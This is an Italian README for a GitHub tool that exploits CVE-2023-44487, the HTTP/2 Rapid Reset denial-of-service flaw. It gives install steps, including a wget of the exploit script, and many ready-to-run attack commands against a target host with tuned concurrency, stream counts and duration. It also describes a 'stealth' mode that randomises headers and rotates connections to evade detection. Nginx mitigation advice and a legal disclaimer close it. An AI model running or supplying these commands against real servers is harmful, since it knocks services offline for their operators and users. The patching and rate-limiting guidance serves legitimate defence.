CVE-2023-44487 HTTP/2 DoS Rapid Reset Exploit
Professional Edition v1.0.1 | Autore: Sudeepa Wanigarathna
-orange.svg)
Indice dei contenuti
Panoramica
Un framework di valutazione di livello professionale per CVE-2023-44487, la vulnerabilità HTTP/2 Rapid Reset. Questo strumento aiuta i professionisti della sicurezza a testare e validare i sistemi contro una delle condizioni DoS HTTP/2 più impattanti divulgate negli ultimi anni.
Dimostra come la creazione e il reset rapidi di stream HTTP/2 possano esaurire le risorse del server e portare a condizioni di Denial of Service (DoS).
Caratteristiche principali in sintesi
- Motore di attacco multi-connessione — Connessioni HTTP/2 concorrenti
- Controllo adattivo della velocità — Regolazione dinamica per la massima efficacia
- Modalità stealth — Header randomizzati e rotazione delle connessioni
- Report completi — JSON/CSV con valutazione del rischio
- Supporto Docker — Distribuzione containerizzata
- Monitoraggio in tempo reale — Metriche di attacco live e avanzamento
- Logging professionale — Output console colorato con logging su file
| Uso | Risultati |
|---|
 |  |
Dettagli della vulnerabilità
CVE-2023-44487: attacco HTTP/2 Rapid Reset
Panoramica tecnica
La vulnerabilità sfrutta il meccanismo di gestione degli stream del protocollo HTTP/2:
- Creazione dello stream — Il client invia un frame HEADERS per creare un nuovo stream
- Reset immediato — Il client invia immediatamente un frame RST_STREAM
- Elaborazione lato server — Il server deve elaborare entrambi i frame, consumando risorse
- Esaurimento delle risorse — I cicli ripetuti sopraffanno le risorse del server
Impatto
- Esaurimento delle risorse sui server HTTP/2
- Possibile Denial of Service (DoS)
- Può colpire load balancer, proxy e CDN
- Non richiede autenticazione o privilegi speciali
Caratteristiche
Funzionalità principali
Funzionalità avanzate
- Supporto proxy — Configurazione proxy estendibile
- Connection pooling — Gestione efficiente delle connessioni
- Recupero dagli errori — Gestione pulita dei fallimenti di connessione
- Ottimizzazione delle prestazioni — Impostazioni configurabili per diversi scenari
- Integrazione CI/CD — Adatto al testing di sicurezza automatizzato
Requisiti
Requisiti di sistema
Dipendenze
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
Installazione
1. Installazione rapida
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
2. Ambiente virtuale (consigliato)
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
3. Installazione Docker
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
4. Installazione manuale
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
Avvio rapido
Utilizzo di base
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
Test rapido (5 secondi)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
Valutazione completa (60 secondi)
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
Guida all'utilizzo
Opzioni della riga di comando
Configurazione del target
Configurazione dell'attacco
Opzioni avanzate
Report
Opzioni di configurazione
Usa i flag CLI sopra indicati per regolare concorrenza, volume degli stream, durata e report. Preferisci valori -c / -s / -d più bassi per la validazione iniziale, quindi scala solo su sistemi che sei autorizzato a stress-testare.
Supporto Docker
Creare l'immagine
docker build -t cve-2023-44487-exploit .
Eseguire una valutazione di base
docker run --rm cve-2023-44487-exploit target.com
Eseguire con parametri personalizzati
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
Salvare i risultati in locale
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
Modalità interattiva
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
Docker Compose
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
Esempi
1. Valutazione HTTPS di base
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
2. Valutazione HTTP (senza SSL)
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
3. Esecuzione di laboratorio ad alte prestazioni
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
4. Modalità stealth
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
5. Test di validazione rapido
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
6. Generare un report CSV
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
7. Saltare la validazione
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
8. Test di produzione autorizzato
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
Interpretare i risultati
Metriche di output
Livelli di valutazione del rischio
Esempio di output
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Raccomandazioni di sicurezza
Per gli amministratori di sistema
-
Applicare le patch di sicurezza
- Aggiornare alle ultime implementazioni HTTP/2
- Applicare le patch di sicurezza specifiche del fornitore
- Aggiornare load balancer e proxy
-
Implementare il rate limiting
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
-
Limiti di connessione
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
Indurimento della configurazione
| Impostazione | Raccomandazione |
|---|
| Stream concorrenti massimi |
Monitoraggio
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
Controlli di sicurezza consigliati
Disclaimer legale
IMPORTANTE: LEGGERE ATTENTAMENTE PRIMA DI UTILIZZARE QUESTO STRUMENTO
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.
Termini di utilizzo
Utilizzando questo strumento, riconosci e accetti che:
- Hai l'autorizzazione scritta esplicita per testare il sistema target
- Comprendi i rischi e il potenziale impatto di questa valutazione
- Rispetterai tutte le leggi e i regolamenti applicabili
- Accetti la piena responsabilità per le tue azioni
- Non utilizzerai questo strumento per attività non autorizzate
Utilizzi proibiti
Questo strumento NON deve essere utilizzato per:
- Test o attacchi non autorizzati
- Denial of service contro sistemi che non possiedi o per i quali non hai il permesso di testare
- Interrompere sistemi di produzione senza autorizzazione
- Causare danni finanziari
- Qualsiasi attività illegale
Dichiarazione di responsabilità
L'AUTORE E I COLLABORATORI FORNISCONO QUESTO STRUMENTO "COSÌ COM'È" SENZA ALCUNA GARANZIA. L'USO DI QUESTO STRUMENTO È A TUO RISCHIO. L'AUTORE NON È RESPONSABILE PER DANNI O PROBLEMI LEGALI DERIVANTI DALL'USO DI QUESTO STRUMENTO.
L'uso non autorizzato di questo strumento può violare leggi, tra cui, a titolo esemplificativo e non esaustivo:
- Computer Fraud and Abuse Act (CFAA) — USA
- Computer Misuse Act — Regno Unito
- Regolamento generale sulla protezione dei dati (GDPR) — UE
- Altre leggi locali, nazionali e internazionali pertinenti
Autore
Sudeepa Wanigarathna
- Ricercatore di sicurezza e penetration tester
- Specializzato in sicurezza applicativa e vulnerabilità dei protocolli
- GitHub
- LinkedIn
Changelog
Versione 1.0.1 (corrente)
- Corretto l'errore dell'attributo
connection_attempts
- Migliorata la validazione SSL/ALPN
- Aggiunta la gestione dei timeout
- Migliorato il recupero dagli errori
- Aggiunto il flag
--skip-validation
- Migliorato il supporto Docker
Versione 1.0.0 (iniziale)
- Prima release dell'edizione professionale
- Motore di attacco multi-connessione
- Controllo adattivo della velocità
- Modalità stealth
- Report completi
- Supporto Docker
Licenza
Questo progetto è concesso in licenza MIT — consulta il file LICENSE per i dettagli.
Riconoscimenti
- Team del protocollo HTTP/2
- Ricercatori di sicurezza che hanno identificato CVE-2023-44487
- Comunità open source (progetti
h2, aiohttp)
Riferimenti
Supporto
Per problemi e domande:
Scheda di riferimento rapido
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
PROMEMORIA: Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema. Utilizza questo strumento in modo responsabile ed etico.
Mantenuto da Sudeepa Wanigarathna | Ultimo aggiornamento: agosto 2026